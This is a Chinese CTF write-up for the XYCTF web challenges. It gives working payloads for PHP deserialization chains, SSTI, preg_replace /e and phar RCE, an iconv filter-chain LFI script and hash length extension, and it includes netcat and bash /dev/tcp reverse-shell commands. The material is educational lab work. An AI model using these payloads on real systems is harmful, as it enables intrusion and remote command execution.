XYCTF - web

目录

warm up

ezMake

ezhttp

ezmd5

牢牢记住,逝者为大

ezPOP

我是一个复读机

ezSerialize

第一关

第二关

第三关

第一种方法:

第二种方法:

ez?Make

方法一:利用反弹shell

方法二:通过进制编码绕过

εZ?¿м@Kε¿?

ezRCE

ezClass

方法一:SplFileObject读取文件

方法二 : Error的getMessage

ezLFI

连连看到底是连连什么看

give me flag

login

pharme


有些是比赛的时候写的,大部分是赛后看wp复现的

warm up

<?phpinclude 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {echo "ez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}if (isset($md5) && $md5 == md5($md5)) {echo "ezez" . "<br data-tomark-pass>";
} else {die("什么情况,这么基础的md5做不来");
}if ($XY == $XYCTF) {if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {echo $level2;} else {die("什么情况,这么基础的md5做不来");}
} else {die("学这么久,传参不会传?");
}

md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过
md5==md5(md5 == md5(md5==md5(md5) : 双md5
extract() : 可以变量覆盖
XYCTF_550102591 : md5值为 0e937920457786991080577371025051
s1502113478a:md5值为 0e861580163291561247404381396064

GET 传参:
?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a

到第二关 LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {echo "操作你O.o";echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {die("有点汗流浃背");
}

intval参数如果是有内容的数组返回1
post 传参: a[]=1

preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

?a=/test/e&b=system("cat /flag")&c=just test
直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}

ezMake

语法问题:
echo $(shell cat f*)
或者
$(shell cat f*)

直接访问 /flag 可以下载附件存在flag
(目录扫描)

ezhttp

爆破:
用户名:XYCTF
密码:@JOILha!wuigqi123$

仿造http头
User-Agent: XYCTF
Referer: yuanshen.com
Client-IP:127.0.0.1
Connection: keep-alive
Via: ymzx.qq.com
Cookie: XYCTF

ezmd5

网上直接找两张MD5值相同的图片提交,就可以得到flag


牢牢记住,逝者为大

绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行
再使用 ; #闭合 注释掉后面 的 ,mamba out" 要不然总会报错

过滤了好多东西,又有长度限制,
尝试了蛮久的,都不行,不晓得中间要写什么命令了

?cmd=%0a ;%23

看完wp后,中间写上

`$_GET[1]`   绕过长度限制

这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]

?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag)
(不能 cat /flag  转八进制,试了好久,不晓得为啥)
转成八进制
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'然后直接访问1.txt ,拿到flag这道题看其他人的wp, 是可以去反弹shell的?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh

ezPOP

<?phphighlight_file(__FILE__);
class AAA{public $s;public $a;public function __toString(){echo "you get 2 A <br>";$p = $this->a;return $this->s->$p;}
}class BBB{public $c;public $d;public function __get($name){echo "you get 2 B <br data-tomark-pass>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if (isset($b['a'])) {unset($b['a']);}call_user_func($a,$b)($c)($d);}
}
class CCC{public $c;public function __destruct(){echo "you get 2 C <br data-tomark-pass>";echo $this->c;}
}if(isset($_GET['xy'])) {$a = unserialize($_GET['xy']);throw new Exception("noooooob!!!");
}// pop链//CCC类-__destruct --> AAA类-__toString-->BBB类-__get -->call_user_func( , )()()//POST传参 : a=implode  b=system// implode() :将数组的值拼接为一个字符串 ; b是一个数组参数$a=new CCC();
$a->c=new AAA();
$a->c->s=new BBB();
$a->c->s->c='ls /';
$a->c->s->d='hello';
//d随便填, system("ls")("hello")不影响命令执行$b=array($a,0);  //绕过throw ,最后还需要将 i:1 --> i:0echo serialize($b);
//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:1;i:0;}//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:0;i:0;}//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}

我是一个复读机

username : admin
密码:asdqwe

关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了

不然 {{}} 和 {%%}都被过滤了,无法ssti注入
直接使用 request

payload:
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}

ezSerialize

第一关

第一步:&符号的运用,直接传参
?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}

结果:
fpclosefpclosefpcloseffflllaaaggg.php

第二关
<?php
highlight_file(__FILE__);
class A {public $mack;public function __invoke(){$this->mack->nonExistentMethod();}
}class B {public $luo;public function __get($key){echo "o.O<br>";$function = $this->luo;return $function();}
}class C {public $wang1;public function __call($wang1,$wang2){include 'flag.php';echo $flag2;}
}class D {public $lao;public $chen;public function __toString(){echo "O.o<br data-tomark-pass>";return is_null($this->lao->chen) ? "" : $this->lao->chen;}
}class E {public $name = "xxxxx";public $num;public function __unserialize($data){echo "<br data-tomark-pass>学到就是赚到!<br data-tomark-pass>";echo $data['num'];}public function __wakeup(){if($this->name!='' || $this->num!=''){echo "旅行者别忘记旅行的意义!<br data-tomark-pass>";}}
}if (isset($_POST['pop'])) {unserialize($_POST['pop']);
}$a=new E();
$a->num=new D();
$a->name='';
$a->num->lao=new B();
$a->num->lao->luo=new A();
$a->num->lao->luo->mack=new C();
echo serialize($a);
//O:1:"E":2:{s:4:"name";s:0:"";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}//开始就是 没有$a->name=''; 这一步,导致一直不能执行成功,一直卡着

然后又进入到下一关:saber_master_saber_master.php

第三关
<?phperror_reporting(0);
highlight_file(__FILE__);// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public function __construct($Liu, $T1ng, $upsw1ng = Showmaker){$this->Liu = $Liu;$this->T1ng = $T1ng;$this->upsw1ng = $upsw1ng;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this->crypto0 = $crypto0;}public function XYCTF(){if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {return False;} else {return True;}}
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";public function __construct($KickyMu, $fpclose){$this->KickyMu = $KickyMu;$this->fpclose = $fpclose;}public function XY(){if ($this->N1ght == 'oSthing') {echo "WOW, You web is really good!!!\n";echo new $_POST['X']($_POST['Y']);}}public function __wakeup(){if ($this->KickyMu->XYCTF()) {$this->XY();}}
}if (isset($_GET['CTF'])) {unserialize($_GET['CTF']);
}
第一种方法:

在类里面做一些相应的更改
关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')
直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值
在 XYCTFNO3 类里面直接给 $N1ght = "oSthing" 赋值
最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php
post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
(直接读flag.php 没有回显,所以使用伪协议)

<?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public  $crypto0;public function __construct($T1ng, $crypto0){$this->T1ng = $T1ng;$this->crypto0=$crypto0;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this->crypto0 = $crypto0;$this->adwa=$adwa;}}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "oSthing";public function __construct($KickyMu, $fpclose){$this->KickyMu = $KickyMu;$this->fpclose = $fpclose;}}$a = new XYCTFNO3(new XYCTFNO2('dev1l',new XYCTFNO1('yuroandCMD258','dev1l')),1);
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";i:1;s:5:"N1ght";s:7:"oSthing";}
第二种方法:

利用 stdClass() 类,实例化直接赋值 $crypto0 = 'dev1l' , $T1ng = 'yuroandCMD258'
post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件

<?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;
}class XYCTFNO2{public $crypto0;public $adwa;
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";
}if (isset($_GET['CTF'])) {unserialize($_GET['CTF']);
}$a=new XYCTFNO3();
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new stdClass();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

ez?Make

方法一:利用反弹shell
`nc ip 端口 -e sh`之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时

方法二:通过进制编码绕过
`echo 636174202F666c6167 | xxd -r -p`前面的十六进制表示 cat /flag  , 通过 反引号执行 ` ` 
(因为f被过滤了,将f大写绕过,不影响命令执行)xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息)echo 输出十六进制字符串 636174202F666c6167。
通过管道 |,这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}

εZ?¿м@Kε¿?

(看着wp写,也是有点没看懂,简单记录一下)
主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中
makefile的特定语法需要 $$

 

ezRCE

<?php
highlight_file(__FILE__);
function waf($cmd){$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; $cmd_char = str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die("really ez?");}}return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

无字母RCE
Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式
$'\154\163' ==> ls 可以执行
但是 $'\154\163\40\57' ==> ls / 无法执行,会被解析成字符串,无法执行命令
所以就需要用到 <<< 在Linux中,“<<<”是一个称为"Here String"的特殊操作符。它的作用是将字符串的内容作为输入传递给命令
以及 $0 相当与bash

所以 0<<<0<<<0<<<'\154\163\40\57' 就可以执行命令了

?cmd=0<<<0<<<0<<<'\143\141\164\40\57\146\154\141\147' ==> cat /flag 拿到flag

XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}

ezClass

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
方法一:SplFileObject读取文件

SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串

get传参:
a=new SplFileObject
aa=php://filter/read=convert.base64-encode/resource=/flag
c=__toString

解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}

这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的
DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵

方法二 : Error的getMessage
<?php
$a=new Error("system");
echo $a->getMessage();//可以输出system

所以get传参

?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage

ezLFI

在index.php中可以看到代码
<?php include_once($_REQUEST['file']);

直接现成的脚本,把地址写上去,直接输出了flag
(这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)

import requestsurl = "http://gz.imxbt.cn:20208/"
file_to_use = "/etc/passwd"
command = "/readflag"#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include","file": final_payload
})print(r.text)#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803}

连连看到底是连连什么看

打开index.php文件

进入到what's_this.php

<?php
highlight_file(__FILE__);
error_reporting(0);$p=$_GET['p'];if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{die("waf!");
}$payload="php://filter/$p/resource=/etc/passwd";if(file_get_contents($payload)==="XYCTF"){echo file_get_contents('/flag');
}

https://github.com/synacktiv/php_filter_chain_generator

需要用伪协议构造一个 XYCTF
用这个项目,运行生成

第一种方法:
需要将XYCTF进行几次 base64编码
命令:
python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ  ---> XYCTF (5次base64解码)但是 XYCTF 五次 base64编码只能得到  -->   Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF 
(先暂时放着)第二种方法:
python3 php_filter_chain_generator.py --chain 'XYCTF<'然后复制下payload之后,使用string.strip_tags过滤器绕过
strip_tags :从字符串中去除 HTML 和 PHP 标签

得到的结果还需要进行解码,编码了几次就需要解码几次

payload:?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}

give me flag

<?phpinclude('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{highlight_file(__FILE__);die($FLAG_md5);
}$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();if(md5($FLAG.$value.$time)===$md5)
{echo "yes, give you flag: ";echo $FLAG;
}
a3a9ab37346c02e4a88deae16415f4c3

考察hash长度扩展攻击
文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/yunen/p/13624595.html

利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

扩展字符输入的是一个未来的时间戳,就是未来几分钟的
密钥长度就是 flag 的长度,flag长度是固定的

payload:
?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4value 的值是新明文去掉后面的时间戳,因为题目  $FLAG.$value.$time  已经是把时间戳加上去的
md5 的值就是新生成的hash,

再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag

import requestsurl='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4'while True:res=requests.get(url=url)if "{" in res.text:print(res.text)break

XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}

login

打开网站是一个登录的界面,目录扫描可以扫描出 /register.php

注册一个账号再登录,可以在cookie里面找到一个 RememberMe

base64解码一下 ,有登录的 用户名和密码 的信息

python的pickle反序列化 ,反弹shell

import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"'
o.
'''
print(base64.b64encode(a))#     c  获取一个全局对象或import一个模块    写法:  c[module]\n[instance]\n    获得的对象入栈#    S       实例化一个字符串对象    写法:S'xxx'\n(也可以使用双引号、\'等python字符串形式)   获得的对象入栈#    (       向栈中压入一个MARK标记       MARK标记入栈#    o       寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)   这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

pharme

查看源码,class.php, 访问

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;public $a;public function __destruct(){if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){eval($this->cmd.'isbigvegetablechicken!');} else {echo 'nonono';}}
}if(isset($_POST['file']))
{if(preg_match('/^phar:\/\//i',$_POST['file'])){die("nonono");}file_get_contents($_POST['file']);
}

if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce

eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析

if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过

构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传
http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令
post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;
}$a=new evil();
$a->cmd='eval(end(getallheaders()));__helt_compiler();';
$phar=new Phar('1.phar');
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER;?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','111');
$phar->stopBuffering();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/11073.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用迭代器进行遍历时不能进行元素的任何修改

记录一下 使用迭代器进行遍历时不能进行元素的任何修改 ArrayList<String> list new ArrayList<>();list.add("一");list.add("二");list.add("光");list.add("华"); // 遍历器Iterator<String> iterator …

【C++】用C++实现一个日期计算器

